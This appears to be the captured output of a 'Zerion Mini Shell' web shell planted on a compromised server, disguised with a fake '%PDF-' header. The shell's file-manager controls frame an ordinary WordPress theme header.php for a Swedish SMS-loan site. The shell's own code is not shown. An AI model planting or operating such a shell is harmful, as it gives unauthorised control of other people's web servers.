%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/sms.eco-n-tech.co.uk/wp-content/themes/hittasmslanwebvatra/
Upload File :
Create Path :
Current File : /var/www/sms.eco-n-tech.co.uk/wp-content/themes/hittasmslanwebvatra/header.php

<!DOCTYPE html>
<html <?php language_attributes(); ?>>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <link rel="preload"  href="<?php echo get_template_directory_uri(); ?>/dist/23a7efd8d0ef4f232f2b.woff2" as="font" type="font/woff2" crossorigin="anonymous">
        <link rel="preload"  href="<?php echo get_template_directory_uri(); ?>/dist/9f452812aa0ba74ba4db.woff2" as="font" type="font/woff2" crossorigin="anonymous">
        <link rel="preload"  href="<?php echo get_template_directory_uri(); ?>/dist/0c0eb5812792f9b2a352.woff2" as="font" type="font/woff2" crossorigin="anonymous">
        <link rel="preload"  href="<?php echo get_template_directory_uri(); ?>/dist/0770e6afb81df6a7710e.woff2" as="font" type="font/woff2" crossorigin="anonymous">
        <link rel="preload"  href="<?php echo get_template_directory_uri(); ?>/dist/9e93371ff3a7cf393143.woff2" as="font" type="font/woff2" crossorigin="anonymous">
        <link rel="preload"  href="<?php echo get_template_directory_uri(); ?>/dist/c72e8415e908efceb645.woff2" as="font" type="font/woff2" crossorigin="anonymous">
        <link rel="preload"  href="<?php echo get_template_directory_uri(); ?>/dist/a28b95d3e799579ba1dd.woff2" as="font" type="font/woff2" crossorigin="anonymous">

        <?php wp_head(); ?>
        <?php /*

        <link rel="preload" as="image" href="<?php echo get_template_directory_uri(); ?>/dist/img/index_top_bg_blur.jpg" imagesrcset="<?php echo get_template_directory_uri(); ?>/dist/img/index_top_bg_blur-small.jpg 575w, <?php echo get_template_directory_uri(); ?>/dist/img/index_top_bg_blur.jpg">

        */ ?>

    </head>
    <body>
        <div id="background-fade"></div>
        <header id="site-header">
            <div class="container">
                <div class="row">
                    <div class="site-header-content col-lg-12">
                        <?php $general_logo = get_field( 'general_logo', 'option' );
                        if ( $general_logo ) { ?>
                            <a href="<?php echo get_home_url(); ?>" class="logo text-shadow">
                                <img width="200" height="55" src="<?php echo $general_logo['url']; ?>" alt="<?php if($general_logo['alt']){ echo $general_logo['alt']; }else{ echo 'HittaSMSLån logga';} ?>" loading="lazy"/>
                            </a>
                        <?php }
                        wp_nav_menu( 
                          array( 
                            'theme_location' => 'main_menu', 
                            'menu_class' => 'tabs text-shadow-small', 
                            'items_wrap' => '<nav id="%1$s" class="%2$s">%3$s</nav>',
                            'container'         => '',
                            'container_class'   => '',
                            'container_id'      => '',
                            'link_before' => '<span>',
                            'link_after'=>'</span>',
                             'walker' => new Walker_Page_Custom

                          ) 
                        );
                        $email_title = get_field( 'contact_title', 'option' );
                        $email = get_field( 'email', 'option' );
                        $phone = get_field( 'phone', 'option' ); ?>

                        <div class="mobile-footer">
                            <div class="text">
                                <?php if ($email || $phone) { ?>
                                    <p class="title h5">
                                        <?php if(!empty($email_title)){echo $email_title; }else{_e('Kontakta oss', 'hittasmslan'); } ?>
                                    </p>
                                    <p>
                                        <?php if ($email) { ?>
                                            <i class="far fa-envelope"></i><?php echo antispambot($email); ?><br>
                                        <?php } 
                                        if($phone) { ?>
                                            <i class="fas fa-phone-alt"></i><?php echo $phone; ?>
                                        <?php } ?>
                                    </p>
                                <?php } ?>
                            </div>
                            <?php 
                            $copyright = get_field( 'copyright', 'option' );
                            if(!$copyright){
                                $copyright = __('HittaSMSLån', 'hittasmslan');
                            } ?>
                            <p class="copyright">© <?php echo date('Y') . ' ' . $copyright; ?></p>
                        </div>
                    </div>
                </div>
            </div>
            <button id="expand-mobile-menu">
                <span id="mobile-border-container">
                    <span id="mobile-border-top"></span>
                    <span id="mobile-border-middle-1"></span>
                    <span id="mobile-border-middle-2"></span>
                    <span id="mobile-border-bottom"></span>
                </span>
            </button>
        </header>
        <div id="top"></div>

Zerion Mini Shell 1.0